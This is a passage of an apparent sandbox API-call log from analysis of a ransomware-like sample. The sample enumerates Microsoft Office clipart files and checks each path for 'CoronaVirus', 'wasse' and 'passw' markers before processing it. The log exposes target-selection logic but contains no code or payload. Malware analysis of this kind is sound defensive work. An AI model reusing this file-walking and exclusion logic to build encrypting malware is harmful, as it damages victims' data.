	[0095.321] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1
	[0095.321] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.321] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.321] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1
	[0095.321] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.321] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.321] malloc (_Size=0x1000) returned 0x51f0070
	[0095.322] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.gif") returned 68
	[0095.322] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.322] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.gif", _SubStr="wasse") returned 0x0
	[0095.322] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.gif", _SubStr="passw") returned 0x0
	[0095.322] SetThreadPriority (hThread=0xc60, nPriority=15) returned 1
	[0095.331] malloc (_Size=0x1000) returned 0x51f60a0
	[0095.331] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.jpg") returned 68
	[0095.331] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.331] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.jpg", _SubStr="wasse") returned 0x0
	[0095.331] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.jpg", _SubStr="passw") returned 0x0
	[0095.331] SetThreadPriority (hThread=0xc64, nPriority=15) returned 1
	[0095.334] malloc (_Size=0x1000) returned 0x51f0070
	[0095.334] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.jpg") returned 68
	[0095.334] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.334] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.jpg", _SubStr="wasse") returned 0x0
	[0095.334] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.jpg", _SubStr="passw") returned 0x0
	[0095.420] SetThreadPriority (hThread=0xc68, nPriority=15) returned 1
	[0095.424] malloc (_Size=0x1000) returned 0x51f90b8
	[0095.424] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.jpg") returned 68
	[0095.424] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.424] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.jpg", _SubStr="wasse") returned 0x0
	[0095.424] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.jpg", _SubStr="passw") returned 0x0
	[0095.503] SetThreadPriority (hThread=0xc6c, nPriority=15) returned 1
	[0095.506] malloc (_Size=0x1000) returned 0x51f3088
	[0095.506] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.jpg") returned 68
	[0095.506] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.506] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.jpg", _SubStr="wasse") returned 0x0
	[0095.506] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.jpg", _SubStr="passw") returned 0x0
	[0095.575] SetThreadPriority (hThread=0xc70, nPriority=15) returned 1
	[0095.578] malloc (_Size=0x1000) returned 0x51f0070
	[0095.578] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.jpg") returned 68
	[0095.578] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.578] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.jpg", _SubStr="wasse") returned 0x0
	[0095.578] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.jpg", _SubStr="passw") returned 0x0
	[0095.583] SetThreadPriority (hThread=0xc78, nPriority=15) returned 1
	[0095.594] malloc (_Size=0x1000) returned 0x51f4090
	[0095.594] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.jpg") returned 68
	[0095.594] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.594] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.jpg", _SubStr="wasse") returned 0x0
	[0095.594] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.jpg", _SubStr="passw") returned 0x0
	[0095.595] SetThreadPriority (hThread=0xc7c, nPriority=15) returned 1
	[0095.605] malloc (_Size=0x1000) returned 0x51f3088
	[0095.605] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.jpg") returned 68
	[0095.608] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.608] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.jpg", _SubStr="wasse") returned 0x0
	[0095.608] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.jpg", _SubStr="passw") returned 0x0
	[0095.608] SetThreadPriority (hThread=0xc74, nPriority=15) returned 1
	[0095.611] malloc (_Size=0x1000) returned 0x51f5098
	[0095.611] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.jpg") returned 68
	[0095.611] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.614] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.jpg", _SubStr="wasse") returned 0x0
	[0095.614] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.jpg", _SubStr="passw") returned 0x0
	[0095.756] SetThreadPriority (hThread=0xc80, nPriority=15) returned 1
	[0095.759] malloc (_Size=0x1000) returned 0x51f0070
	[0095.759] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.jpg") returned 68
	[0095.759] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.759] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.jpg", _SubStr="wasse") returned 0x0
	[0095.759] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.jpg", _SubStr="passw") returned 0x0
	[0095.766] SetThreadPriority (hThread=0xc84, nPriority=15) returned 1
	[0095.768] malloc (_Size=0x1000) returned 0x51f5098
	[0095.768] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.jpg") returned 68
	[0095.768] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.768] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.jpg", _SubStr="wasse") returned 0x0
	[0095.771] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.jpg", _SubStr="passw") returned 0x0
	[0095.772] SetThreadPriority (hThread=0xc8c, nPriority=15) returned 1
	[0095.780] malloc (_Size=0x1000) returned 0x51f3088
	[0095.780] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.jpg") returned 68
	[0095.780] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.780] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.jpg", _SubStr="wasse") returned 0x0
	[0095.780] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.jpg", _SubStr="passw") returned 0x0
	[0095.783] SetThreadPriority (hThread=0xc88, nPriority=15) returned 1
	[0095.785] malloc (_Size=0x1000) returned 0x51f5098
	[0095.785] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.jpg") returned 68
	[0095.786] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.786] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.jpg", _SubStr="wasse") returned 0x0
	[0095.786] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.jpg", _SubStr="passw") returned 0x0
	[0095.884] malloc (_Size=0x1000) returned 0x51f3088
	[0095.884] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.jpg") returned 68
	[0095.884] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.884] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.jpg", _SubStr="wasse") returned 0x0
	[0095.884] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.jpg", _SubStr="passw") returned 0x0
	[0095.901] malloc (_Size=0x1000) returned 0x51f4090
	[0095.901] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.jpg") returned 68
	[0095.901] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.901] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.jpg", _SubStr="wasse") returned 0x0
	[0095.991] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.jpg", _SubStr="passw") returned 0x0
	[0095.995] malloc (_Size=0x1000) returned 0x51f3088
	[0095.995] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.jpg") returned 68
	[0095.995] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.jpg", _SubStr="CoronaVirus") returned 0x0
	[0095.995] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.jpg", _SubStr="wasse") returned 0x0
	[0095.995] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.jpg", _SubStr="passw") returned 0x0
	[0096.032] malloc (_Size=0x1000) returned 0x51f3088
	[0096.032] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.jpg") returned 68
	[0096.034] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.jpg", _SubStr="CoronaVirus") returned 0x0
	[0096.035] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.jpg", _SubStr="wasse") returned 0x0
	[0096.035] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.jpg", _SubStr="passw") returned 0x0
	[0096.043] malloc (_Size=0x1000) returned 0x51f5098
	[0096.044] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.jpg") returned 68
	[0096.044] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.jpg", _SubStr="CoronaVirus") returned 0x0
	[0096.046] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.jpg", _SubStr="wasse") returned 0x0
	[0096.046] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.jpg", _SubStr="passw") returned 0x0
	[0096.049] malloc (_Size=0x1000) returned 0x51f0070
	[0096.049] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.jpg") returned 68
	[0096.051] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.jpg", _SubStr="CoronaVirus") returned 0x0
	[0096.051] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.jpg", _SubStr="wasse") returned 0x0
	[0096.051] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.jpg", _SubStr="passw") returned 0x0
	[0096.149] malloc (_Size=0x1000) returned 0x51fa0c0
	[0096.149] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.jpg") returned 68
	[0096.153] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.jpg", _SubStr="CoronaVirus") returned 0x0
	[0096.153] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.jpg", _SubStr="wasse") returned 0x0
	[0096.153] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.jpg", _SubStr="passw") returned 0x0
	[0096.159] malloc (_Size=0x1000) returned 0x51f3088
	[0096.159] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.jpg") returned 68
	[0096.159] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.jpg", _SubStr="CoronaVirus") returned 0x0
	[0096.159] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.jpg", _SubStr="wasse") returned 0x0
	[0096.165] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.jpg", _SubStr="passw") returned 0x0
	[0096.170] malloc (_Size=0x1000) returned 0x51f60a0
	[0096.170] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.jpg") returned 68
	[0096.170] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.jpg", _SubStr="CoronaVirus") returned 0x0
	[0096.173] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.jpg", _SubStr="wasse") returned 0x0
	[0096.173] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.jpg", _SubStr="passw") returned 0x0
	[0096.177] malloc (_Size=0x1000) returned 0x51f3088
	[0096.180] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.jpg") returned 68
	[0096.180] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.jpg", _SubStr="CoronaVirus") returned 0x0
	[0096.180] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.jpg", _SubStr="wasse") returned 0x0
	[0096.180] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.jpg", _SubStr="passw") returned 0x0
	[0096.185] malloc (_Size=0x1000) returned 0x51f0070
	[0096.185] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.jpg") returned 68
	[0096.185] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.jpg", _SubStr="CoronaVirus") returned 0x0
	[0096.185] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.jpg", _SubStr="wasse") returned 0x0
	[0096.185] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.jpg", _SubStr="passw") returned 0x0
	[0096.198] malloc (_Size=0x1000) returned 0x51f4090
	[0096.223] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.gif") returned 68
	[0096.223] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.223] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.gif", _SubStr="wasse") returned 0x0
	[0096.224] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.gif", _SubStr="passw") returned 0x0
	[0096.235] malloc (_Size=0x1000) returned 0x51f3088
	[0096.235] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.gif") returned 68
	[0096.235] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.235] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.gif", _SubStr="wasse") returned 0x0
	[0096.235] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.gif", _SubStr="passw") returned 0x0
	[0096.240] malloc (_Size=0x1000) returned 0x51f4090
	[0096.240] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.gif") returned 68
	[0096.246] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.246] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.gif", _SubStr="wasse") returned 0x0
	[0096.246] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.gif", _SubStr="passw") returned 0x0
	[0096.339] malloc (_Size=0x1000) returned 0x51f5098
	[0096.339] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.gif") returned 68
	[0096.339] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.339] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.gif", _SubStr="wasse") returned 0x0
	[0096.339] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.gif", _SubStr="passw") returned 0x0
	[0096.469] malloc (_Size=0x1000) returned 0x51f3088
	[0096.469] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.gif") returned 68
	[0096.469] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.469] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.gif", _SubStr="wasse") returned 0x0
	[0096.469] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.gif", _SubStr="passw") returned 0x0
	[0096.487] malloc (_Size=0x1000) returned 0x51f4090
	[0096.487] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.gif") returned 68
	[0096.487] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.487] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.gif", _SubStr="wasse") returned 0x0
	[0096.487] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.gif", _SubStr="passw") returned 0x0
	[0096.489] malloc (_Size=0x1000) returned 0x51f5098
	[0096.489] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.gif") returned 68
	[0096.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.gif", _SubStr="wasse") returned 0x0
	[0096.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.gif", _SubStr="passw") returned 0x0
	[0096.498] malloc (_Size=0x1000) returned 0x51f0070
	[0096.504] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.gif") returned 68
	[0096.505] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.505] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.gif", _SubStr="wasse") returned 0x0
	[0096.505] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.gif", _SubStr="passw") returned 0x0
	[0096.507] malloc (_Size=0x1000) returned 0x51f80b0
	[0096.507] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.gif") returned 68
	[0096.507] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.508] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.gif", _SubStr="wasse") returned 0x0
	[0096.508] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.gif", _SubStr="passw") returned 0x0
	[0096.526] malloc (_Size=0x1000) returned 0x51f4090
	[0096.528] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.gif") returned 68
	[0096.528] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.528] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.gif", _SubStr="wasse") returned 0x0
	[0096.528] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.gif", _SubStr="passw") returned 0x0
	[0096.530] malloc (_Size=0x1000) returned 0x51f0070
	[0096.530] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.gif") returned 68
	[0096.530] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.530] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.gif", _SubStr="wasse") returned 0x0
	[0096.530] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.gif", _SubStr="passw") returned 0x0
	[0096.670] malloc (_Size=0x1000) returned 0x51f0070
	[0096.676] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.gif") returned 68
	[0096.676] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.gif", _SubStr="CoronaVirus") returned 0x0
	[0096.676] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.gif", _SubStr="wasse") returned 0x0
	[0096.676] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.gif", _SubStr="passw") returned 0x0
	[0096.681] malloc (_Size=0x1000) returned 0x51f5098
	[0096.681] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.bmp") returned 68
	[0096.681] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.bmp", _SubStr="CoronaVirus") returned 0x0
	[0096.681] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.bmp", _SubStr="wasse") returned 0x0
	[0096.681] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.bmp", _SubStr="passw") returned 0x0
	[0096.754] malloc (_Size=0x1000) returned 0x51f3088
	[0096.754] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.bmp") returned 68
